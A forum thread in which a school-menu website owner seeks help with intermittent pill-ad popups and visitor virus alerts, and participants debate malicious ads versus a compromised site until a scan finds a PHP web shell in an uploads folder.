Virus took over website, displaying pill ads

I looked at your site http://50.56.207.194/ twice and I can't find any problems on your home page at the moment.

This is part of the issue. It does not come up 100% of the times.

The site has 100K visitors per month and we got more than 50 calls and emails about in the morning before I put the main domain on a "we'll be back soon page"

Then it probably came from an ad that was on your site.  That is one of the most common ways for these things to be delivered.  To completely stop it you would have to identify the ad and notify the ad company.  Since ads are usually delivered thru javascript and iframes, it is probably not even on your website.

I will contact the ad company but it is one of the biggest out there and I doubt they are not secure enough and allow viagra spam to come through their embed codes. this is their bread and butter, I can't imagine they would not know about this.

I still think it is some vulnerability in our code. Just not sure how to find this needle in a haystack.

The ad company will deny everything, tell you they check all the ads, and they will just be covering their collective ass.  Google, Doubleclick, and all the others get caught by this now and then.  Here's an article from CNET http://news.cnet.com/8301-27080_3-20000898-245.html and another from Wall Street Journal:  http://online.wsj.com/article/SB118480608500871051.html  

If you do a Google search for 'ads deliver viruses', you will get a lot of hits.  https://www.google.com/search?q=ads+deliver+viruses

OK. the ad company has indeed just got back to me and said they checked everything and they are not the source of this issue.

Thanks for the links, but my question is, how do I then Identify the problem and the source.

I am using google doubleclick to serve these ads. But what do I do?

If the problem actually came from an ad, it is difficult to prevent it or even know when it happens.  I am sure that Google Doubleclick are checking the ads they sent to your site.  

The only thing I know is to make sure you have a clean backup copy of your files that you can upload immediately if you have a problem.  That will take care of your part in any possible problem.  I actually consider the files on my computer to be the master files.  I can recreate my sites any time by uploading good copies.

what if i dont have a backup?

> If the problem actually came from an ad, it is difficult to prevent ...
disagree, it's very simple: just remove all adds

@ James-Wise, can you reproduce the issue yourself?
if so, please remove all adds (iframes, pbjects, javascript) from your website and try again

If you don't have a backup, Make one!  We have had a number of questions here from people who did not have a backup and lost their websites for various reasons.  Backing up your websites is just as important as backing up your computer and work files.

@ahoffman, you would mention the Obvious thing about removing ads...

hmm, not sure if "make one!" now is the right suggestion, as it would backup the infection
if I'd be the attacker, I'd advise excatly that ;-)

so, if you make a backup, make and use it with extreme care

Since the incidence of infection is fairly low, I think it probably came from an ad and is not contained in his code.  In any case, my anti-virus would pickup a javascript or most other infections in his code when i downloaded it.  Besides, it's easier to scan on his computer than on the website itself.

agreed, however, I doubt that AV will find obfuscated javascript code which contains shell code or whatever ... most AV is designed for client, not for server usage (means it searches for malicous code attcking the machine itself, instead of delivering such code)

The problem he showed in the images is on the client, not on the server.

To clarify things:

1. a backup is a good idea for future use and after we solve this problem, yes. but a backup now will probably back up the virus if it is now somewhere in the code. so since we don't have a pre-virus backup, this doesn't help at the moment.

2. This problem is not reproducible, at least not consistently or on demand, which is why we are having problems finding it. we know there is a problem because we have a lot of traffic and got multiple (over 50) reports including screenshots, from all over the country, reporting this exact same issue. these 2 screenshot show both a mac and pc and 2 different browsers, so it is definitely coming from the site: http://i.imgur.com/6eYR2k2h.png - http://i.imgur.com/CuTH2EYh.png )
So this seems to appear only sometimes for some people. how? I have no idea. maybe it is a clever code.

3. I am almost finished downloading the entire site's code. what best way to scan it? what is the most recommended software/service?

4. Blocking all ads would help if only I can reproduce the issue but since I can't, that won't helps so much.

5. Here is an email we got from one of our schools:

"I attempted to access the www.schoolmenu.com site from an external computer and as soon as I clicked menu... an ad popup tried to open and my antivirus reported that it quarantined a virus attack.

The files bapcd.dll and draped.dll - Virus name: HEUR:Trojan.Win32.Generic (Suspected)
tried to place itself in the user\appdata\roaming folder.

SO this issue has nothing to do with DNS and their site is definitly infected as I did this totally off the school network. I suspect it the top advertisement bar which is coming from goggle ad services... if the ad is infected with a virus... it could be causing it. That site really shouldn't be letting an seperate ad site link onto it. Maybe I can look at blocking the domain the ad's comes from."

Does this help in any way?

Any other thoughts or suggestions?

Dave, I went through the links but none of them provided an actual solution. all i found are loops saying there are viruses in ads from all big networks, the networks won't help you, good luck.

So once again, I am here to try to get your guys's expertise and figure this out, and since the problem is not consistant, even if we come to the conclusion that it is from the ads, I can't turn off each ad and see which one is the problem so how do I diagnose this. I cannot test it on my users by just making the site live again and waiting to see if parents or school administrators report it is still there or not.

Assuming it is from the ads, how do I find out which one it is or at the very least is it from doubleclick, valueclick or burstmedia?

according all the description so far, I'd also assume that an ad is the culprit

if you cannot control the ads you won't disable, then write a script which gets the website (just the index.html or whatever is your default) and extract all iframe and script tags (more exactly also all event attributes in tags)
then check which one returns something un usal

ahoffmann,

how do i check for something "unusual"?

also, would this something show up even if the spam ad is not appearing at the time that i extract the codes?

don't know how exactly your ads work, but I assume that there is simply a <script or <iframe which "includes" the ad,
fetch and store the page of these src and and then manually inspect them if they contain obfuscated code or further calls (sorry my last comment said "just index.html", that's wrong, I meant the foreign referenced sources)

it's hard to give a c&p solution here, would help if you find a source which looks strange and post it here

So after downloading the entire site (15,000 files) to scan it locally with sophos, this turned up:

2013-01-31 23:38:24 -0800 Threat: 'Troj/PHPObf-B' detected
2013-01-31 23:38:24 -0800 Threat: 'Troj/PhpShel-M' detected in /Volumes/1TB/Websites/SM/uploads/headerimages/1253498635_classes.php


Do you know if this can be the cause of this problem? if so, how do I deal with it?

in addition to that, how would I prevent it from happening again?

thanks

Downloaded the entire site meaning I downloaded all the site files to scan them.

I used software recommended by rackspace (the cloud server company).


Now please forgive my ignorance by you offer two ideas, one is a forensic software but you make no recommendations of one. I have no why of knowing what that even means or where to look.

The other thing you offer are instructions I do not know how to follow. Also, since I told you the bad ad doesn't appear on the site now, would the suspicious code still be there?

> .. bad ad doesn't appear on the site now,
hmm, I already asked if you can reproduce the problem
if not, any attempt to find the problem is useless, somehow ...

> .. would the suspicious code still be there?
who should answer that question?

> .. instructions I do not know how to follow
your web programmer should know how to do it
it's difficult to give a c&p solution, you need to get used to the problem to search for the reason
or rely on your ad provider that the problem is solved and will never occour again (which is not a technical but legal issue)

sorry for not giving the [click button to solve all my security issues]
security is a process, not a product

jason1178, thanks for explanation ;-)
according 2) I meant the script code in the page itself and then in all "included" pages, I did not mean the application which may have some vulnerabilities which can be exploited as this would require a special crafted link

Thanks for the clarifications.

I do understand this is a complex problem. I have hired a hands on security person and I will report back.